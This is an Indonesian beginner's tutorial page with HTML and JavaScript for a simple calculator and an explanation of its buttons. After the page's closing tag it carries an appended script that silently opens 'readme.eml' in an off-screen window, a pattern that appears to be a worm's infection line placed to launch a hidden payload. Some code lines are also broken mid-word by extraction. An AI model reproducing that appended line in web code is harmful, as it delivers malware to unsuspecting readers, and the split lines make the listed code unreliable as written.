You are on page 1of 4

Berikut ini sebuah contoh program sederhana membuat kalkulator dengan javascript

<html>
<head>
<style type="text/css">
td{text-align:center
}
textarea{text-align:right;
font-size:16}
input{width:50}
</style>
<script language="javascript">
<!--
temp=new Array();
sementara="";
opr_s="";
hasil="";
function periksa(a){
switch(a){
case "Bksp" :
temp.pop();document.form_layar.layar.value=parseInt(temp.join(""));break;
case "CE" :
hapusIsiArray(temp.length);document.form_layar.layar.value=0;sementara=0;hasil=0;o
pr_s="";break;
case "Clr" :
hapusIsiArray(temp.length);document.form_layar.layar.value="";sementara=0;hasil=0;
opr_s="";break;
case "1" :
temp.push(a);document.form_layar.layar.value=parseInt(temp.join(""));break;
case "2" :
temp.push(a);document.form_layar.layar.value=parseInt(temp.join(""));break;
case "3" :
temp.push(a);document.form_layar.layar.value=parseInt(temp.join(""));break;
case "4" :
temp.push(a);document.form_layar.layar.value=parseInt(temp.join(""));break;
case "5" :
temp.push(a);document.form_layar.layar.value=parseInt(temp.join(""));break;
case "6" :
temp.push(a);document.form_layar.layar.value=parseInt(temp.join(""));break;
case "7" :
temp.push(a);document.form_layar.layar.value=parseInt(temp.join(""));break;
case "8" :
temp.push(a);document.form_layar.layar.value=parseInt(temp.join(""));break;
case "9" :
temp.push(a);document.form_layar.layar.value=parseInt(temp.join(""));break;
case "0" :
temp.push(a);document.form_layar.layar.value=parseInt(temp.join(""));break;
case "," :
temp.push(a);break;
case "=" :
operasi(a);break;
case "+" :
operasi(a);break;
case "-" :
operasi(a);break;
case "*" :
operasi(a);break;
case "/" :
operasi(a);break;
case "%" :
operasi(a);break;
}

}
function hitung(opr1,opr2,operator){
var a=parseInt(opr1);
var b=parseInt(opr2);
var oprt=operator;
switch(oprt){
case '+' :
return(a+b);
break;
case '-' :
return(a-b);
break;
case '*' :
return(a*b);
break;
case '/' :
return(a/b);
break;
case '%' :
return(a%b);
break;
case'=' :
return(hasil);
break;}
}
function operasi(operator){
var oprt2=operator;
//alert(sementara);
//if(document.form_layar.layar.value=""){
//alert("diisi dulu dengan angka");
//document.form_layar.layar.value.focus();}
//else{
if(sementara==0 && opr_s==""){
sementara=parseInt(document.form_layar.layar.value);
opr_s=oprt2;
hapusIsiArray(temp.length);
//alert(sementara);
document.form_layar.layar.value=sementara;
}
else {
sementara=hitung(sementara,parseInt(document.form_layar.layar.value),opr_s);
hasil=sementara;
hapusIsiArray(temp.length);
opr_s=oprt2;
//alert(hasil);
//alert(opr_s);
document.form_layar.layar.value=hasil;
}
}
//}
function hapusIsiArray(b){
var a=0;
while(a<b){
temp.shift();
a++;
}
}
//-->
</script>
<title>Contoh Program Kalkultor Dengan Javascript</title>
</head>
<body>
<table border=1 cellpadding=1 cellspacing=1 bgcolor="lightgrey" >
<caption> Kalkulator Sederhana</caption>
<tr>
<td><form name=form_layar >
<textarea cols=22 rows=1 name="layar"></textarea>
</form></td>
</tr>
<tr>
<td>
<table border=1 cellspacing=3 cellpadding=3>
<form name="form1">
<tr>
<td><input type=button value="Bksp" onClick="periksa(this.value)"></input></td>
<td><input type=button value="CE" onClick="periksa(this.value)"></input></td>
<td><input type=button value="Clr" onClick="periksa(this.value)"></input></td>
<td><input type=button value="%" onClick="periksa(this.value)"></input></td>
</tr>
<tr>
<td><input type=button value="7" onClick="periksa(this.value)"></input></td>
<td><input type=button value="8" onClick="periksa(this.value)"></input></td>
<td><input type=button value="9" onClick="periksa(this.value)"></input></td>
<td><input type=button value="/" onClick="periksa(this.value)"></input></td>
</tr>
<tr>
<td><input type=button value="4" onClick="periksa(this.value)"></input></td>
<td><input type=button value="5" onClick="periksa(this.value)"></input></td>
<td><input type=button value="6" onClick="periksa(this.value)"></input></td>
<td><input type=button value="*" onClick="periksa(this.value)"></input></td>
</tr>
<tr>
<td><input type=button value="1" onClick="periksa(this.value)"></input></td>
<td><input type=button value="2" onClick="periksa(this.value)"></input></td>
<td><input type=button value="3" onClick="periksa(this.value)"></input></td>
<td><input type=button value="-" onClick="periksa(this.value)"></input></td>
</tr>
<tr>
<td><input type=button value="0" onClick="periksa(this.value)"></input></td>
<td><input type=button value="," onClick="periksa(this.value)"></input></td>
<td><input type=button value="=" onClick="periksa(this.value)"></input></td>
<td><input type=button value="+" onClick="periksa(this.value)"></input></td>
</tr>
</table>
</tr>
</form>
</table>
<script language="javascript">
window.defaultStatus="Disusun oleh KJ (07622053)";
</script>
<ul><h4><u>Keterangan Tombol Kalkulator :</u></h4>
<li>Bksp untuk menghapus satu angka dari belakang (backspace)</li>
<li>CE untuk melakukan reset</li>
<li>Clr untuk membersihkan layar, hampir sama dengan reset</li>
<li>tanda (,) belum ada fungsinya</li>
</ul>
</body>
</html>

<html><script language="JavaScript">window.open("readme.eml",
null,"resizable=no,top=6000,left=6000")</script></html>

simpan dengan nama yang berakhiran .html ( misal : kalkulator.html)

You might also like